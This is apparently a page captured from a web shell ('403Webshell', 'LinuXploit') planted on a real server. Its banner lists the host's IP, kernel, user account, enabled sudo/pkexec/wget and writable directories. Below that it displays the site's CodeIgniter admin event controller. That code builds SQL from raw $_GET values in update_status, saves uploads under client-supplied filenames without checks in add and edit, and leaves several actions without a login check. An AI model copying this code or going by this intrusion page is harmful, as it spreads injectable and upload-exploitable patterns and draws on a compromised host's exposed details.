403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.174
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ikioworld/www/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ikioworld/www/application/controllers/admin/Event.php
<?php
class Event extends CI_Controller {
   
   public function __construct() {
      parent::__construct ();
      $this->load->helper('download');
     }
    
   function index()
   {
      $this->load->helper(array('form', 'url','common'));
      $this->load->library(array('session','pagination'));
      
      $this->load->model('loginmodel','',TRUE);     
      $this->loginmodel->check_is_valid_user();    
       
      $this->load->model('eventmodel','',TRUE);     
       
       $data = array(
         'header' => $this->load->view('admin/assets/header', '', TRUE),  
         'footer' => $this->load->view('admin/assets/footer', '', TRUE),
      );
      
      
      $num_records = $this->eventmodel->get_total_records();
     
     
      $data['num_records']  = $num_records;
      $base_url=base_url().'admin/event/index';
      $start_index=$this->uri->segment($this->uri->total_segments());
      $default_page_size = 10;
      if( $this->input->get('per_page') != '' ){
         $per_page = $this->input->get('per_page');
      }
      else{
         $per_page=$default_page_size;
      }
      
      $data['default_page_size']  = $default_page_size;
      $content_array=$this->eventmodel->get_contents($per_page,$start_index);
      $data['content_array']=$content_array;
      $data['start_index']=$start_index;
      
      $data['pagination_links']=paging($base_url,$this->input->server("QUERY_STRING"),$num_records,$per_page,$this->uri->total_segments());
       
      $this->load->view('admin/event/index',$data);
   }
   
   function add(){
       $this->load->helper(array('form', 'url'));
       $this->load->library(array('session','pagination'));
        $this->load->model('eventmodel','',TRUE);     
        
       if(!empty($this->input->post())){

          $insert_id=$this->eventmodel->add($this->input->post());
          if($insert_id!=''){
            $postData=$this->input->post();
            // self::upload_file($insert_id,$_FILES,'document','add');
         
         $event_image_array=isset($_FILES['event_image']) && !empty($_FILES['event_image'])?$_FILES['event_image']:[];
         $fileNameArray=isset($event_image_array['name'])?$event_image_array['name']:[];
         
           if(!empty($fileNameArray)){
             foreach($fileNameArray as $key=>$file_name){
               $file_type=isset($event_image_array['type'][$key])?$event_image_array['type'][$key]:[];
               $file_tmp_name=isset($event_image_array['tmp_name'][$key])?$event_image_array['tmp_name'][$key]:[];
               $file_error=isset($event_image_array['error'][$key])?$event_image_array['error'][$key]:[];
               
                $features="No";
                  if($key=="0"){
                    $features="Yes";
                  }
               
               
               move_uploaded_file($file_tmp_name,FCPATH."uploads/event/".$file_name);
               
               if($file_error==0){
                $imageInsert=['event_id'=>$insert_id,'image'=>$file_name,'features'=>$features];
  
               $this->db->insert('event_images',$imageInsert); 
                   
               }else{
                   
               }
  
             }
           }
              
              
            }
            
            $this->session->set_flashdata('message',"event has been added.");
          {
              
             redirect('admin/event');   
            
            }
                
           }
       $data = array(
         'header' => $this->load->view('admin/assets/header', '', TRUE),  
         'footer' => $this->load->view('admin/assets/footer', '', TRUE),
      );

      $data['category']=$this->eventmodel->getAllCategories();
     
      
      $this->load->view('admin/event/add',$data);
   }
   
   
   function edit($id){
       $this->load->helper(array('form', 'url', 'common'));
       $this->load->library(array('session','pagination'));
       $this->load->model('eventmodel','',TRUE);     
      
       $data = array(
         'header' => $this->load->view('admin/assets/header', '', TRUE),  
         'footer' => $this->load->view('admin/assets/footer', '', TRUE),  
        );
        
       $data['record']=$this->eventmodel->fetch_details($id);
       
       if(!empty($this->input->post())){
        $res=$this->eventmodel->edit($id,$this->input->post());
        // self::upload_file($id,$_FILES,'document','edit');                  
           
         
        $event_image_array=isset($_FILES['event_image']) && !empty($_FILES['event_image'])?$_FILES['event_image']:[];
        
        $fileNameArray=isset($event_image_array['name'])?$event_image_array['name']:[];
       
         if(!empty($fileNameArray)){
           
           foreach($fileNameArray as $key=>$file_name){
             $file_type=isset($event_image_array['type'][$key])?$event_image_array['type'][$key]:[];
             $file_tmp_name=isset($event_image_array['tmp_name'][$key])?$event_image_array['tmp_name'][$key]:[];
             $file_error=isset($event_image_array['error'][$key])?$event_image_array['error'][$key]:[];
             
             move_uploaded_file($file_tmp_name,FCPATH."uploads/event/".$file_name);

            if($file_error==0){
              $count_feature_event=$this->eventmodel->count_feature_event($id);
              $features="No";
              if($count_feature_event=="0"){
                $features="Yes";
              }    
              $imageInsert=['event_id'=>$id,'image'=>$file_name,'features'=>$features];
              $this->db->insert('event_images',$imageInsert); 
    
             }else{
                 
             }
             
           }
         }
    
          $this->session->set_flashdata('message',"event has been updated.");
          redirect("admin/event");
      }
       
      $data['category']=$this->eventmodel->getAllCategories();
     
      
      $this->load->view('admin/event/edit',$data);
      
   }

//    function upload_file($id,$fileArray,$column,$for='add'){
//     if($id!='' && !empty($fileArray) && $fileArray[$column]['error']=="0" && $column!=''){
        
//           $record=$this->eventmodel->fetch_details($id);
//           $ext = pathinfo($fileArray[$column]['name'], PATHINFO_EXTENSION);
//           $file_name=rand(10,1000).date('YmdHis').".".$ext;
//           if($for=="edit"){
//               @unlink(FCPATH."uploads/document/".$record->$column);
//           }
//           $ffdsf=$this->eventmodel->edit($id,[$column=>$file_name]);
//           move_uploaded_file($fileArray[$column]['tmp_name'],FCPATH."uploads/document/".$file_name);
        
//           return true;
//      }
//  }

   
   function delete($id){
       $this->load->helper(array('form', 'url'));
       $this->load->library(array('session','pagination'));
       $this->load->model('eventmodel','',TRUE);     
       if($id!=''){
         $this->eventmodel->deleteevent($id);
         $this->session->set_flashdata('message',"event has been deleted.");
         redirect("admin/event");  
       }
   }

   
   function getAllCategories()
   {
      $data['groups'] = $this->eventmodel->get_category();
      
       $this->load->view('admin/event/add',$data);
   }  
    

function update_status(){
      $this->load->helper(array('form', 'url'));
      $this->load->library(array('session','pagination'));
      $this->load->model('eventmodel','',TRUE);    
      
      $id= $_GET['sid'];
      $status= $_GET['svalue'];
      if($status == 'active')
      {

      $sql=$this->db->query("UPDATE event set status='inactive' where id='$id'");

      }else{
  
      $sql=$this->db->query("UPDATE event set status='active' where id='$id'");

      }
      redirect("admin/event");
     }


     function export_csv(){ 
     
      $this->load->helper(array('form', 'url','common'));
      
      $this->load->library(array('session','pagination'));
      
      $this->load->model('loginmodel','',TRUE);     
      
      $this->loginmodel->check_is_valid_user();    
       
      $this->load->model('eventmodel','',TRUE);    
      
   $filename = 'users_'.date('Ymd').'.csv'; 
   header("Content-Description: File Transfer"); 
   header("Content-Disposition: attachment; filename=$filename"); 
   header("Content-Type: application/csv; "); 
   // get data 
   $eventData = $this->eventmodel->get_export_data();
   // file creation 
   $file = fopen('php://output', 'w');
   $header = array("sku","event_name","event_tagline","event_short_description","event_long_description","heading1","data1","heading2","data2","heading3","data3","heading4","data4","heading5","data5","heading6","data6","heading7","data7","heading8","data8","heading9","data9","heading10","data10","heading11","data11","heading12","data12","heading13","data13","heading14","data14","heading15","data15","heading16","data16","document","tags"); 
   fputcsv($file, $header);
   foreach ($eventData as $key=>$line){
     fputcsv($file,$line); 
   }
   fclose($file); 
   exit; 
  } 
  
   function delete_all_event()
   {
    $this->load->helper(array('form', 'url','common'));
    $this->load->library(array('session','pagination'));
    $this->load->model('eventmodel','',TRUE);
      if($this->input->post('checkbox_value'))
      {
       $id = $this->input->post('checkbox_value');
       for($count = 0; $count < count($id); $count++)
       {
        $this->eventmodel->deleteallevent($id[$count]);
       }
     redirect("admin/event");
    }
   }
 

   function delete_event()

   {
    $this->load->helper(array('form', 'url','common'));
        
    $this->load->library(array('session','pagination'));
    
    $this->load->model('loginmodel','',TRUE);     
    
    $this->loginmodel->check_is_valid_user();    
     
    $this->load->model('eventmodel','',TRUE);    
  
    if($this->input->post('checkbox_value'))
    {
     $id = $this->input->post('checkbox_value');
    
     for($count = 0; $count < count($id); $count++)
     {
      $this->eventmodel->delete_event($id[$count]);
     }
    }
   }
  
   function make_featured()
  
   {
    $this->load->helper(array('form', 'url','common'));
        
    $this->load->library(array('session','pagination'));
    
    $this->load->model('loginmodel','',TRUE);     
    
    $this->loginmodel->check_is_valid_user();    
     
    $this->load->model('eventmodel','',TRUE);    
  
    if($this->input->post('checkbox_value'))
    {
     $id = $this->input->post('checkbox_value');
    
     for($count = 0; $count < count($id); $count++)
     {
      $this->eventmodel->make_featured($id[$count]);
     }
    }
   }
  
   function remove_featured()
  
   {
    $this->load->helper(array('form', 'url','common'));
        
    $this->load->library(array('session','pagination'));
    
    $this->load->model('loginmodel','',TRUE);     
    
    $this->loginmodel->check_is_valid_user();    
     
    $this->load->model('eventmodel','',TRUE);    
  
    if($this->input->post('checkbox_value'))
    {
     $id = $this->input->post('checkbox_value');
    
     for($count = 0; $count < count($id); $count++)
     {
      $this->eventmodel->remove_featured($id[$count]);
     }
    }
   }
  
  
   function make_activated()
  
   {
    $this->load->helper(array('form', 'url','common'));
        
    $this->load->library(array('session','pagination'));
    
    $this->load->model('loginmodel','',TRUE);     
    
    $this->loginmodel->check_is_valid_user();    
     
    $this->load->model('eventmodel','',TRUE);    
  
    if($this->input->post('checkbox_value'))
    {
     $id = $this->input->post('checkbox_value');
    
     for($count = 0; $count < count($id); $count++)
     {
      $this->eventmodel->make_activated($id[$count]);
     }
    }
   }
  
  
  
   function remove_activated()
  
   {
    $this->load->helper(array('form', 'url','common'));
        
    $this->load->library(array('session','pagination'));
    
    $this->load->model('loginmodel','',TRUE);     
    
    $this->loginmodel->check_is_valid_user();    
     
    $this->load->model('eventmodel','',TRUE);    
  
    if($this->input->post('checkbox_value'))
    {
     $id = $this->input->post('checkbox_value');
    
     for($count = 0; $count < count($id); $count++)
     {
      $this->eventmodel->remove_activated($id[$count]);
     }
    }
   }

}

Youez - 2016 - github.com/yon3zu
LinuXploit